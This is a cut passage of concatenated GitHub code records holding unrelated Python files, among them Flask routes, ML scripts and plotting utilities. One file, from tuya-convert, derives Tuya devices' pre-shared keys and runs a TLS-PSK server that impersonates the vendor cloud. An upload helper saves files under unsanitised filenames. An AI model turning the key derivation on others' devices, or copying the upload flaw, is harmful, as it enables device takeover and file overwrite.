alphabet_map[alphabets[i]] = i\n \n string_set_u_sorted, m, n = np.unique(trainingset_np, return_index = True,return_inverse = True) #achtung! n hier ist (n+1) in matlab\n string_count, bin_edges = np.histogram(n, len(n)) #achtung, der 0er an stelle 26 ist hier um 1 verschoben\n \n prefixes = np.copy(string_set_u_sorted)\n prefixes = np.append(prefixes, '')\n \n final_stat_freq = np.copy(string_count[np.nonzero(string_count)])\n final_stat_freq = np.append(final_stat_freq, 0)\n \n for i in range (0, len(string_set_u_sorted)):\n seq = string_set_u_sorted[i] \n ind = findall(seq, ',')\n \n for j in range(len(ind)-1, -1, -1):\n substr = seq[0:ind[j]+1]\n \n if not substr in prefixes[:]: \n prefixes = np.append(prefixes, substr)\n \n #sort string width first\n final_stat_freq = np.append(final_stat_freq, np.zeros(len(prefixes)-len(final_stat_freq)))\n prefixes, IX = sort_string_wfs(prefixes)\n final_stat_freq = final_stat_freq[IX]\n pref_length = len(prefixes)\n alpha_length = len(alphabets)\n labels = np.empty(1, dtype=str)\n labels[0] = ''\n set_of_states = np.zeros(pref_length, dtype = int)\n for i in range(0, len(set_of_states)):\n set_of_states[i] = i\n init_stat_freq = np.zeros(pref_length)\n init_stat_freq[0] = len(trainingset_np)\n freq_trans_matrix = (np.zeros((pref_length, alpha_length), dtype = int),np.zeros((pref_length, alpha_length), dtype = int))\n predecessorLink = np.zeros(pref_length, dtype=int)\n predecessorLink[0] = -1\n \n for i in range (1, pref_length):\n seq = prefixes[i]\n ind = findall(seq, ',') \n if len(ind) == 1:\n predecessorLink[i] = 0\n else:\n predecessorLink[i] = np.where(prefixes == seq[0:ind[-2]+1])[0][0] #should only be one value!\n \n labels = np.append(labels, get_last_symbol(seq, ind))\n \n for i in range (1, pref_length):\n flowLoad = final_stat_freq[i]\n alpha_index = alphabet_map[labels[i]]\n current = i\n predecessor = predecessorLink[current]\n \n freq_trans_matrix[0][predecessor][alpha_index] = current\n freq_trans_matrix[1][predecessor][alpha_index] = freq_trans_matrix[1][predecessor][alpha_index] + flowLoad\n \n current = predecessor\n predecessor = predecessorLink[current]\n \n while (flowLoad and predecessor != -1):\n index = findall(freq_trans_matrix[0][predecessor][:] ,current)\n if (len(index) == 1):\n freq_trans_matrix[1][predecessor][index] = freq_trans_matrix[1][predecessor][index[0]] + flowLoad\n else:\n break\n current = predecessor\n predecessor = predecessorLink[current]\n \n first = freq_trans_matrix[0][0][:] \n new_init = first[np.nonzero(first)]\n \n print('finished_FTPA')\n \n return DFFA(set_of_states, labels, alphabets, new_init, init_stat_freq, final_stat_freq, freq_trans_matrix), string_set_u_sorted, n\n","repo_name":"grashupfa/seminar","sub_path":"source/build_ftpa_data.py","file_name":"build_ftpa_data.py","file_ext":"py","file_size_in_byte":3424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"23965598186","text":"#!/usr/bin/env python3\n\nimport socket\nimport select\nimport ssl\nimport sslpsk\n\nfrom Crypto.Cipher import AES\nimport hashlib\nfrom binascii import hexlify, unhexlify\n\nserver_hint_hex = \"316448527363324e6a62486c74624778336557683530303030303030303030303030303030\" \nserver_hint = unhexlify(server_hint_hex)\n\n\ndef listener(host, port):\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n sock.bind((host, port))\n sock.listen(1)\n return sock\n\ndef client(host, port):\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.connect((host, port))\n return sock\n \n\ndef get_psk(identity):\n id = identity\n server_hint = unhexlify(server_hint_hex)\n\n md5_uuid = id[17:(17+16)]\n source = id[1:50]\n\n rand = server_hint[21:21+16]\n\n key = hashlib.md5(rand).digest()\n to_encode = id[1:33]\n iv = hashlib.md5(source).digest()\n cipher = AES.new(key ,AES.MODE_CBC, iv)\n\n c = cipher.encrypt(to_encode)\n print(\"PSK: %r\"%(hexlify(c)))\n return c\n\n\nclass PskFrontend():\n def __init__(self, listening_host, listening_port, host, port):\n self.listening_port = listening_port\n self.listening_host = listening_host\n self.host = host\n self.port = port\n\n self.server_sock = listener(listening_host, listening_port)\n self.sessions = []\n self.hint = '1dHRsc2NjbHltbGx3eWh50000000000000000'\n\n\n\n def readables(self):\n readables = [self.server_sock]\n for (s1, s2) in self.sessions:\n readables.append(s1)\n readables.append(s2)\n return readables\n \n def new_client(self, s1):\n try:\n ssl_sock = sslpsk.wrap_socket(s1,\n server_side = True,\n ssl_version=ssl.PROTOCOL_TLSv1_2,\n ciphers='PSK-AES128-CBC-SHA256',\n psk=get_psk,\n hint=self.hint)\n\n s2 = client(self.host, self.port)\n self.sessions.append((ssl_sock, s2))\n except:\n pass\n def data_ready_cb(self, s):\n if s == self.server_sock:\n _s, frm = s.accept()\n print(\"new client on port %d from %r\"%(self.listening_port, frm))\n self.new_client(_s)\n\n for (s1, s2) in self.sessions:\n if s == s1 or s == s2:\n c = s1 if s == s2 else s2\n try:\n buf = s.recv(4096)\n if len(buf) > 0:\n c.send(buf)\n else:\n s1.shutdown(socket.SHUT_RDWR)\n s2.shutdown(socket.SHUT_RDWR)\n self.sessions.remove((s1,s2))\n except:\n self.sessions.remove((s1,s2))\n \n\ndef main():\n proxies = [PskFrontend('', 443, '127.0.0.1', 80), PskFrontend('', 8886, '127.0.0.1', 1883)]\n\n\n while True:\n readables = []\n for p in proxies:\n readables = readables + p.readables()\n r,_,_ = select.select(readables, [], [])\n for s in r:\n for p in proxies:\n p.data_ready_cb(s)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"wunderbaum/tuya-convert","sub_path":"scripts/psk-frontend.py","file_name":"psk-frontend.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"} +{"seq_id":"16495118550","text":"import sys\r\nimport pygame\r\n\r\ndef s():\r\n pygame.init()\r\n screen = pygame.display.set_mode((800, 600))\r\n pygame.display.set_caption('f')\r\n myimage = pygame.image.load('images/alien_ship.png').convert()\r\n background_image = pygame.image.load('images/test.jpg')\r\n\r\n while True:\r\n screen.blit(background_image, (0, 0))\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n sys.exit()\r\n screen.blit(myimage, (200, 200))\r\n pygame.display.flip()\r\n\r\ns()","repo_name":"Leon200211/Python","sub_path":"alien_invasion_v1.0/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"71354229231","text":"import logging\n\nfrom flask import (redirect, render_template, request,\n url_for, make_response, jsonify, Response)\nfrom flask_login import login_required\n\nfrom app import app\nfrom app.forms import IssueForm\nfrom app.orm_decl import (\n Issue, IssueContent, IssueEditor, IssueTag, Magazine, Person, Tag,\n Article, ShortStory, PublicationSize)\n\nfrom .route_helpers import *\nfrom typing import Any, List, Dict, Optional\nimport json\n\n\ndef _make_cover_number(number: Optional[int], number_extra: Optional[str],\n count: Optional[int], year: Optional[int]) -> str:\n cover_number: str = ''\n if number:\n cover_number = str(number)\n else:\n cover_number = str(count)\n if number_extra:\n cover_number = cover_number + number_extra\n if year:\n cover_number = cover_number + ' / ' + str(year)\n\n return cover_number\n\n\n@app.route('/issue/', methods=['POST', 'GET'])\ndef issue(id: Any) -> Any:\n\n session = new_session()\n\n issue = session.query(Issue)\\\n .filter(Issue.id == id)\\\n .first()\n\n form = IssueForm(request.form)\n\n if request.method == 'GET':\n form.id.data = issue.id\n form.number.data = issue.number\n form.number_extra.data = issue.number_extra\n form.count.data = issue.count\n form.year.data = issue.year\n form.cover_number.data = issue.cover_number\n form.link.data = issue.link\n form.notes.data = issue.notes\n form.title.data = issue.title\n elif form.validate_on_submit():\n changes: List[str] = []\n covnum_might_change: bool = False\n old_cover_number = _make_cover_number(issue.number, issue.number_extra,\n issue.count, issue.year)\n cover_number = _make_cover_number(form.number.data,\n form.number_extra.data,\n form.count.data, form.year.data)\n if issue.number != form.number.data:\n issue.number = form.number.data\n covnum_might_change = True\n changes.append('Numero')\n if issue.number_extra != form.number_extra.data:\n issue.number_extra = form.number_extra.data\n covnum_might_change = True\n changes.append('Numeron lisätarkenne')\n if issue.count != form.count.data:\n issue.count = form.count.data\n covnum_might_change = True\n changes.append('Järjestysnumero')\n if issue.year != form.year.data:\n issue.year = form.year.data\n covnum_might_change = True\n changes.append('Vuosi')\n\n if form.cover_number.data == '':\n # Automatically fill with calculated value\n issue.cover_number = cover_number\n changes.append('Kansinumero')\n elif form.cover_number.data != issue.cover_number:\n # Fill with user supplied value\n issue.cover_number = form.cover_number.data\n changes.append('Kansinumero')\n elif issue.cover_number != old_cover_number:\n # Not automatically filled\n if issue.cover_number != form.cover_number.data:\n issue.cover_number = cover_number\n changes.append('Kansinumero')\n else:\n # Automatically filled, so update if needed\n if covnum_might_change:\n issue.cover_number = cover_number\n # Automatically filled, so don't add log row\n\n if issue.link != form.link.data:\n issue.link = form.link.data\n changes.append('Linkki')\n if issue.notes != form.notes.data:\n issue.notes = form.notes.data\n changes.append('Kommentit')\n if issue.title != form.title.data:\n issue.title = form.title.data\n changes.append('Otsikko')\n session.add(issue)\n session.commit()\n log_change(session, issue, fields=changes)\n else:\n app.logger.error('Errors: {}'.format(form.errors))\n print(f'Errors: {form.errors}')\n\n return render_template('issue.html', issue=issue, form=form)\n\n\n@app.route('/add_issue/', methods=['GET', 'POST'])\ndef add_issue(magazine_id):\n session = new_session()\n\n issue = Issue()\n\n form = IssueForm(request.form)\n # sizes = size_list(session)\n # form.size.choices = sizes\n # form.size.default = \"0\"\n\n magazine = session.query(Magazine)\\\n .filter(Magazine.id == magazine_id)\\\n .first()\n\n if form.validate_on_submit():\n issue.magazine_id = magazine_id\n issue.number = form.number.data\n issue.number_extra = form.number_extra.data\n issue.count = form.count.data\n issue.year = form.year.data\n issue.image_src = form.image_src.data\n issue.pages = form.pages.data\n issue.link = form.link.data\n issue.notes = form.notes.data\n # if form.size.data != '':\n # issue.size_id = int(form.size.data)\n # else:\n # issue.size = None\n\n session.add(issue)\n session.commit()\n log_change(session, issue, action='Uusi')\n # if form.editor.data != '':\n # person = session.query(Person)\\\n # .filter(Person.name == form.editor.data)\\\n # .first()\n # ie = session.query(IssueEditor)\\\n # .filter(IssueEditor.issue_id == issue.id)\\\n # .first()\n # if not ie:\n # ie = IssueEditor(person_id=person.id,\n # issue_id=issue.id)\n # else:\n # ie.person_id = person.id\n # session.add(ie)\n # session.commit()\n\n return redirect(url_for('issue', id=issue.id))\n else:\n app.logger.debug('Errors: {}'.format(form.errors))\n\n return render_template('edit_issue.html',\n form=form,\n magazine_name=magazine.name,\n issueid=0,\n selected_size='0')\n\n\n@app.route('/edit_issue/', methods=['GET', 'POST'])\ndef edit_issue(id):\n session = new_session()\n\n if id != '0':\n issue = session.query(Issue).filter(Issue.id == id).first()\n else:\n issue = Issue()\n\n form = IssueForm(request.form)\n sizes = size_list(session)\n form.size.choices = sizes\n form.size.default = \"0\"\n\n magazine = session.query(Magazine)\\\n .join(Issue)\\\n .filter(Magazine.id == Issue.magazine_id,\n Issue.id == id)\\\n .first()\n if magazine:\n magazine_name = magazine.name\n else:\n magazine_name = ''\n\n if request.method == 'GET':\n if issue.size_id:\n size = str(issue.size_id)\n else:\n size = ''\n editors = session.query(Person)\\\n .join(IssueEditor)\\\n .filter(IssueEditor.issue_id == id)\\\n .all()\n editor_str = ', '.join([x.name for x in editors])\n form.editor.data = editor_str\n form.number.data = issue.number\n form.number_extra.data = issue.number_extra\n form.count.data = issue.count\n form.year.data = issue.year\n form.image_src.data = issue.image_src\n form.pages.data = issue.pages\n form.link.data = issue.link\n form.notes.data = issue.notes\n\n if form.validate_on_submit():\n # if len(form.size.data) > 0:\n # size = session.query(PublicationSize.id)\\\n # .filter(PublicationSize.name == form.size.data)\\\n # .first()\n # else:\n # size = None\n issue.number = form.number.data\n issue.number_extra = form.number_extra.data\n issue.count = form.count.data\n issue.year = form.year.data\n issue.image_src = form.image_src.data\n issue.pages = form.pages.data\n issue.link = form.link.data\n issue.notes = form.notes.data\n if form.size.data != '':\n issue.size_id = int(form.size.data)\n else:\n issue.size = None\n\n session.add(issue)\n session.commit()\n\n if form.editor.data != '':\n person = session.query(Person)\\\n .filter(Person.name == form.editor.data)\\\n .first()\n ie = session.query(IssueEditor)\\\n .filter(IssueEditor.issue_id == issue.id)\\\n .first()\n if not ie:\n ie = IssueEditor(person_id=person.id,\n issue_id=issue.id)\n else:\n ie.person_id = person.id\n session.add(ie)\n session.commit()\n\n return redirect(url_for('issue', id=issue.id))\n else:\n app.logger.debug('Errors: {}'.format(form.errors))\n\n return render_template('edit_issue.html',\n form=form,\n magazine_name=magazine_name,\n issueid=issue.id,\n selected_size=size)\n\n\ndef save_newarticle_to_issue(session, issueid, form):\n pass\n\n\ndef save_article_to_issue(session, issueid, form):\n pass\n\n\ndef remove_article_from_issue(session, articleid, issueid):\n pass\n\n\n@app.route('/save_magazine_to_issue', methods=['POST'])\n@admin_required\n@login_required # type: ignore\ndef save_magazine_to_issue() -> Response:\n session = new_session()\n (issueid, magazine_ids) = get_select_ids(request.form)\n issue = session.query(Issue).filter(Issue.id == issueid).first()\n if issue:\n issue.magazine_id = magazine_ids[0]['id']\n session.add(issue)\n session.commit()\n log_change(session, issue,\n fields=['Lehti'])\n msg = 'Tallennus onnistui'\n category = 'success'\n resp = {'feedback': msg, 'category': category}\n return make_response(jsonify(resp), 200)\n msg = 'Tallennus epäonnistui'\n category = 'failure'\n resp = {'feedback': msg, 'category': category}\n return make_response(jsonify(resp), 418)\n\n\n@app.route('/magazine_for_issue/')\ndef magazine_for_issue(issue_id: Any) -> Response:\n session = new_session()\n magazine = session.query(Magazine)\\\n .join(Issue)\\\n .filter(Magazine.id == Issue.magazine_id)\\\n .filter(Issue.id == issue_id)\\\n .first()\n retval: List[Dict[str, str]] = []\n if magazine:\n obj: Dict[str, str] = {'id': magazine.id, 'text': magazine.name}\n retval.append(obj)\n return Response(json.dumps(retval))\n\n\n@app.route('/save_tags_to_issue', methods=['POST'])\n@admin_required\n@login_required # type: ignore\ndef save_tags_to_issue() -> Response:\n session = new_session()\n (issueid, tag_ids) = get_select_ids(request.form)\n existing_tags = session.query(IssueTag)\\\n .filter(IssueTag.issue_id == issueid)\\\n .all()\n\n (to_add, to_remove) = get_join_changes(\n [x.tag_if for x in existing_tags], [int(x['id']) for x in tag_ids])\n\n for id in to_remove:\n it = session.query(IssueTag)\\\n .filter(IssueTag.issue_id == issueid, IssueTag.tag_id == id)\\\n .first()\n session.delete(it)\n for id in to_add:\n it = IssueTag(issue_id=issueid, tag_id=id)\n session.add(it)\n session.commit()\n log_change(session,\n issue, fields=['Asiasanat'])\n msg = 'Tallennus onnistui'\n category = 'success'\n resp = {'feedback': msg, 'category': category}\n return make_response(jsonify(resp), 200)\n\n\n@app.route('/tags_for_issue/')\ndef tags_for_issue(issueid: Any) -> Response:\n session = new_session()\n tags = session.query(Tag)\\\n .join(IssueTag)\\\n .filter(Tag.id == IssueTag.tag_id)\\\n .filter(IssueTag.issue_id == issueid)\\\n .all()\n retval: List[Dict[str, str]] = []\n if tags:\n for tag in tags:\n obj: Dict[str, str] = {'id': tag.id, 'text': tag.name}\n retval.append(obj)\n return Response(json.dumps(retval))\n\n\n@app.route('/save_editors_to_issue', methods=['POST'])\n@admin_required\n@login_required # type: ignore\ndef save_editors_to_issue() -> Response:\n session = new_session()\n (issueid, person_ids) = get_select_ids(request.form)\n existing_editors = session.query(IssueEditor)\\\n .filter(IssueEditor.issue_id == issueid)\\\n .all()\n\n (to_add, to_remove) = get_join_changes(\n [x.person_id for x in existing_editors], [int(x['id']) for x in person_ids])\n\n for id in to_remove:\n it = session.query(IssueEditor)\\\n .filter(IssueEditor.issue_id == issueid, IssueEditor.person_id == id)\\\n .first()\n session.delete(it)\n for id in to_add:\n it = IssueEditor(issue_id=issueid, person_id=id)\n session.add(it)\n session.commit()\n issue = session.query(Issue).filter(Issue.id == issueid).first()\n log_change(session,\n issue, fields=['Päätoimittajat'])\n\n msg = 'Tallennus onnistui'\n category = 'success'\n resp = {'feedback': msg, 'category': category}\n return make_response(jsonify(resp), 200)\n\n\n@app.route('/editors_for_issue/')\ndef editors_for_issue(issueid: Any) -> Response:\n session = new_session()\n editors = session.query(Person)\\\n .join(IssueEditor)\\\n .filter(IssueEditor.issue_id == issueid)\\\n .filter(IssueEditor.person_id == Person.id)\\\n .all()\n\n retval: List[Dict[str, str]] = []\n if editors:\n for person in editors:\n obj: Dict[str, str] = {'id': person.id, 'text': person.name}\n retval.append(obj)\n return Response(json.dumps(retval))\n\n\n@app.route('/save_size_to_issue', methods=['POST'])\n@admin_required\n@login_required # type: ignore\ndef save_size_to_issue() -> Response:\n session = new_session()\n (issueid, size_ids) = get_select_ids(request.form)\n\n issue = session.query(Issue).filter(Issue.id == issueid).first()\n issue.size_id = size_ids[0]['id']\n session.add(issue)\n session.commit()\n log_change(session,\n issue, fields=['Koko'])\n\n msg = 'Tallennus onnistui'\n category = 'success'\n resp = {'feedback': msg, 'category': category}\n return make_response(jsonify(resp), 200)\n\n\n@app.route('/size_for_issue/', methods=['GET'])\ndef size_for_issue(issueid: Any):\n session = new_session()\n\n issue = session.query(Issue).filter(Issue.id == issueid).first()\n\n retval: List[Dict[str, str]] = []\n if issue.size:\n size = session.query(PublicationSize)\\\n .filter(PublicationSize.id == issue.size_id)\\\n .first()\n\n obj: Dict[str, str] = {'id': size.id, 'text': size.name}\n retval.append(obj)\n\n return Response(json.dumps(retval))\n\n\n@app.route('/articles_for_issue/')\ndef articles_for_issue(issueid: Any) -> Response:\n session = new_session()\n\n articles = session.query(Article)\\\n .join(IssueContent)\\\n .filter(IssueContent.issue_id == issueid)\\\n .filter(IssueContent.article_id == Article.id)\\\n .all()\n retval: List[Dict[str, str]] = []\n\n if articles:\n for article in articles:\n obj: Dict[str, str] = {'id': article.id, 'text': article.title}\n retval.append(obj)\n return Response(json.dumps(retval))\n\n\n@app.route('/save_article_to_story', methods=['POST'])\n@admin_required\n@login_required # type: ignore\ndef save_article_to_story() -> Response:\n session = new_session()\n (issueid, article_ids) = get_select_ids(request.form)\n\n issue = session.query(Issue).filter(Issue.id == issueid).first()\n\n msg = 'Tallennus onnistui'\n category = 'success'\n resp = {'feedback': msg, 'category': category}\n return make_response(jsonify(resp), 200)\n\n\n@app.route('/save_stories_to_story', methods=['POST'])\n@admin_required\n@login_required # type: ignore\ndef save_stories_to_story() -> Response:\n session = new_session()\n (issueid, story_ids) = get_select_ids(request.form)\n\n issue = session.query(Issue).filter(Issue.id == issueid).first()\n\n msg = 'Tallennus onnistui'\n category = 'success'\n resp = {'feedback': msg, 'category': category}\n return make_response(jsonify(resp), 200)\n\n\n@app.route('/stories_for_issue/')\ndef stories_for_issue(issueid: Any) -> Response:\n session = new_session()\n\n stories = session.query(ShortStory)\\\n .join(IssueContent)\\\n .filter(IssueContent.issue_id == issueid)\\\n .filter(IssueContent.shortstory_id == ShortStory.id)\\\n .all()\n\n retval: List[Dict[str, str]] = []\n if stories:\n for story in stories:\n txt = story.author_str + ':' + story.title\n obj: Dict[str, str] = {'id': story.id, 'text': txt}\n retval.append(obj)\n return Response(json.dumps(retval))\n","repo_name":"Makistos/suomisf","sub_path":"app/routes_issue.py","file_name":"routes_issue.py","file_ext":"py","file_size_in_byte":17382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"35519347314","text":"import os\nfrom flask import request\nimport io\nimport base64\nimport numpy as np\nfrom PIL import Image\nfrom keras.preprocessing.image import img_to_array\n\n# Firebase \n\n\n\nclass Pest(object):\n\n def __init__(self):\n self.APP_ROOT = os.path.dirname(os.path.abspath(__file__))\n \n\n def Upload(self):\n target = os.path.join(self.APP_ROOT, 'static/images')\n print(target)\n\n if not os.path.isdir(target):\n os.mkdir(target)\n \n print(request.files.getlist(\"file\"))\n\n for file in request.files.getlist(\"file\"):\n print('come here')\n print(file)\n filename = file.filename\n print(filename)\n destination = \"/\".join([target, filename])\n print(destination)\n file.save(destination)\n \n \n default_image_size = tuple((256, 256))\n\n\n with open('static/images/'+filename, \"rb\") as fid:\n data = fid.read()\n\n b64_bytes = base64.b64encode(data)\n b64_string = b64_bytes.decode()\n\n try:\n image = Image.open(io.BytesIO(base64.b64decode(b64_string)))\n if image is not None :\n image = image.resize(default_image_size, Image.ANTIALIAS) \n image_array = img_to_array(image)\n return np.expand_dims(image_array, axis=0),filename\n else:\n print(\"Error loading image file\")\n except Exception as e:\n print(str(e))\n","repo_name":"iamnamananand996/Smart-India-Hackathon_SIH_2019","sub_path":"pest.py","file_name":"pest.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"38"} +{"seq_id":"7268577196","text":"\nimport os\nimport errno\nimport numpy as np\nimport torch.nn as nn\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\nimport torch\n\ndef mkdir_p(path):\n try:\n os.makedirs(path)\n except OSError as exc:\n if exc.errno == errno.EEXIST and os.path.isdir(path):\n pass\n else:\n raise\n\ndef build_images(real_imgs, captions, ixtoword, fullpath):\n\n num = 4\n fig = plt.figure(figsize=(8, 4))\n captions = captions.detach().cpu()\n for i in range(num):\n sent= []\n for n in range(len(captions[0])):\n s_id = captions.numpy()[i][n]\n txt = ixtoword[int(s_id)]\n if(s_id != 0):\n sent.append(txt)\n\n\n ax = fig.add_subplot(num, 1, i + 1, projection='3d')\n ax = fig.gca(projection='3d')\n ax.voxels(np.round(real_imgs[i][3].detach().cpu().numpy()), edgecolor='b')\n ax.set_title(\"{}\".format(' '.join(sent)))\n\n plt.savefig(fullpath+\".png\", bbox_inches='tight')\n\n return None\n\ndef build_npy(real_imgs, captions, ixtoword, fullpath):\n num = 8\n for i in range(num):\n np.save(fullpath+\"_\"+ str(i) + \".npy\", real_imgs[i] )\n\n\ndef build_image(real_imgs, captions, ixtoword, step, exp):\n fig = plt.figure(figsize=(10,10))\n ax = fig.add_subplot(1, 1, 1, projection='3d')\n print(\"build_image: \" + str(step))\n ax = fig.gca(projection='3d')\n ax.voxels(np.round(real_imgs[1][3].numpy()))\n exp.log_figure(figure_name=str(step), figure=plt, step=step)\n\ndef build_super_images(real_imgs, captions, cap_len, ixtoword, attn_maps, att_sze, exp, fullpath, step):\n num = 5\n for i in range(num):\n cap_ll = cap_len[i].numpy() + 1\n width = int(cap_ll * 14)\n fig = plt.figure(figsize=(width, 8), dpi=71, tight_layout=True, facecolor=\"w\")\n plt.ioff()\n attn = attn_maps[i]\n real = real_imgs[i][3]\n ax = fig.add_subplot(1, cap_ll, 1, projection='3d')\n ax = fig.gca(projection='3d')\n for n in range(cap_ll - 1):\n s_id = captions.cpu().numpy()[i][n]\n if(s_id != 0):\n ax = fig.add_subplot(1, cap_ll, (n+1) + 1, projection='3d')\n ax = fig.gca(projection='3d')\n data = attn[0][n].add_(1).div_(2)\n data = data - data.min()\n data = data / (data.max() - data.min())\n\n data = data.cpu().detach().numpy()\n\n ax.voxels(np.round(data), edgecolor='k')\n txt = ixtoword[s_id]\n ax.set_title(\"{}\".format(txt))\n\n name = str(i) + \"_\" + str(step)\n exp.log_figure(figure_name=name, figure=plt, step=step)\n return None","repo_name":"katsumi-axis/SpeechFab","sub_path":"miscc/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"24080229916","text":"import os\nimport string\nimport re\n\ndef get_package():\n ftmp=\"tmp.pip.packages\"\n packages=[]\n result = os.popen(\"pip list\")\n res = result.read()\n i=0\n for line in res.splitlines():\n i=i+1\n if i>=3:\n data=line.split()\n packages.append(data[0])\n return packages","repo_name":"ylniu/mozip","sub_path":"python/generate_pip_packages.py","file_name":"generate_pip_packages.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"34545978882","text":"#!/bin/python3\n#\n# this script extract the endpoint used by tests\n# Max Novelli\n\nimport os\nimport re\n\n# test folders\ntest_folder = os.path.abspath(\"../test\")\n#print(\"Tests folder : \" + test_folder);\n\n# initialize variables\nsection=\"unknown\"\ntest=\"unknown\"\npredicate=\"unknown\"\nendpoint=\"unknown\"\n\n# prepare the reg exp\nre_section = re.compile(\"^describe\\([\\\"\\'](.+)[\\\"\\']\\, \")\nre_test = re.compile(\"^ +it\\([\\\"\\'](.+)[\\\"\\']\\, \")\n#re_endpoint = re.compile(\"^ +\\.(post|get|delete)\\([\\\"\\'\\`](.+)[\\\"\\'\\`]\\)\")\nre_endpoint = re.compile(\"^ +\\.(post|get|delete|put|patch)\\((.+)[\\),]\")\n\nre_dataset1 = re.compile(\"|<.+\\.datasetId>||\")\nre_datablock1 = re.compile(\"\")\nre_origdatablock1 = re.compile(\"|\")\nre_proposal1 = re.compile(\"\")\n\nurl_convert = {\n \"pid\": \"\",\n \"attachemendId\" : \"\",\n \"proposalId\" : \"\"\n}\n\n\ndef prep_endpoint(v):\n if v[0] == '\"' and v[-1] == '\"':\n v = v[1:-1]\n elif v[0] == '`' and v[-1] == '`':\n v = v[1:-1]\n else:\n v = \"<\" + v + \">\"\n return v.replace(\"${\",\"<\",5).replace(\"}\",\">\",5)\n\n\n# list all the test files\nfor f in os.listdir(test_folder):\n ffp = os.path.join(test_folder,f)\n# print(\"Processing file : \" + ffp)\n\n # read file content\n with open(ffp,'r') as fh:\n # initialize variables\n section=\"unknown\"\n test=\"unknown\"\n predicate=\"unknown\"\n endpoint=\"unknown\"\n\n for l in fh.readlines():\n # discard lines with comments\n if l.startswith('//'):\n continue\n\n# print(l)\n # check if we have a line with section, test or endpoint\n s = re_section.search(l)\n if s:\n# print(\"Section found\")\n section = s.group(1)\n\n else:\n s = re_test.search(l)\n if s:\n# print(\"Test found\")\n test = s.group(1)\n else:\n s = re_endpoint.search(l)\n if s:\n predicate = s.group(1)\n endpoint = s.group(2)\n\n #t1 = [i.strip() for i in endpoint.split(\"?\")[0].split(\"+\")]\n t1 = [i.strip() for i in endpoint.split(\"+\")]\n #t1 = [ url_convert[i] if i in url_convert.keys() else i for i in t1 ]\n t1 = [ prep_endpoint(i) for i in t1 ]\n t2 = \"\".join(t1).split('?')[0]\n t2 = re_dataset1.sub(\"\",t2)\n t2 = re_datablock1.sub(\"\",t2)\n t2 = re_origdatablock1.sub(\"\",t2)\n t2 = re_proposal1.sub(\"\",t2)\n t2 = t2.replace(\"<\",\"_\").replace(\">\",\"_\")\n\n print(f\"| {f} | {section} | {test} | {predicate} | {t2} |\")\n\n\n# break\n","repo_name":"SciCatProject/scicat-backend-next","sub_path":"status-tests/extract_test_endpoints.py","file_name":"extract_test_endpoints.py","file_ext":"py","file_size_in_byte":2999,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"38"} +{"seq_id":"42462751103","text":"\"\"\"\nAutoML : Round 0\n\n__author__ : abhishek thakur\n\"\"\"\n\nimport numpy as np\nfrom libscores import *\nfrom sklearn import ensemble, linear_model, preprocessing, svm\nfrom sklearn import decomposition, metrics, cross_validation\nfrom data_io import *\nnp.set_printoptions(suppress=True)\n\ntrain_data = data_binary_sparse('dorothea/dorothea_train.data', nbr_features=100000)\ntest_data = data_binary_sparse('dorothea/dorothea_test.data', nbr_features=100000)\nvalid_data = data_binary_sparse('dorothea/dorothea_valid.data', nbr_features=100000)\nlabels = np.loadtxt('dorothea/dorothea_train.solution')\n\nclf1 = svm.SVC(verbose = 2, probability = True, C = 100.)\nclf2 = linear_model.LogisticRegression(C=100.)\nclf3 = linear_model.LogisticRegression(C=1.)\n\nclf1.fit(train_data, labels)\nclf2.fit(train_data, labels)\nclf3.fit(train_data, labels)\ntest_preds = (clf1.predict_proba(test_data)[:,1] + clf2.predict_proba(test_data)[:,1] + clf3.predict_proba(test_data)[:,1])/3.\nvalid_preds = (clf1.predict_proba(valid_data)[:,1]+ clf2.predict_proba(valid_data)[:,1] + clf3.predict_proba(valid_data)[:,1])/3.\n\nnp.savetxt('res/dorothea_test_001.predict', test_preds, '%1.5f')\nnp.savetxt('res/dorothea_valid_001.predict', valid_preds, '%1.5f')","repo_name":"abhishekkrthakur/AutoML","sub_path":"Phase0/dorothea_main.py","file_name":"dorothea_main.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"38"} +{"seq_id":"42554714136","text":"import uuid\n\nfrom fastapi import APIRouter, Depends, HTTPException\nfrom fastapi.security import OAuth2PasswordBearer\nfrom jose import JWTError, jwt\nfrom starlette.status import HTTP_403_FORBIDDEN\n\nfrom src.api.v1.schemas import (Token, UserCreate, UserLogin, UserModel,\n UserUpdate)\nfrom src.core.config import JWT_ALGORITHM, JWT_SECRET_KEY\nfrom src.services.user import UserService, get_user_service\n\nrouter = APIRouter()\nreusable_oauth2 = OAuth2PasswordBearer(tokenUrl=\"/api/v1/login\")\n\n# Создаем эндпойнты согласно файлу настроек postman collection\n\n\n@router.post(\n path=\"/signup\",\n summary=\"Регистрация на сайте\",\n tags=[\"users\"],\n)\ndef signup(user: UserCreate, user_service: UserService = Depends(get_user_service)) -> dict:\n \"\"\"Signup in service / registration\"\"\"\n response = {\"msg\": \"User created.\"}\n user: dict = user_service.create_user(user=user)\n response.update({\"user\": UserModel(**user)})\n return response\n\n\n@router.post(\n path=\"/login\",\n response_model=Token,\n summary=\"Зайти на сайт\",\n 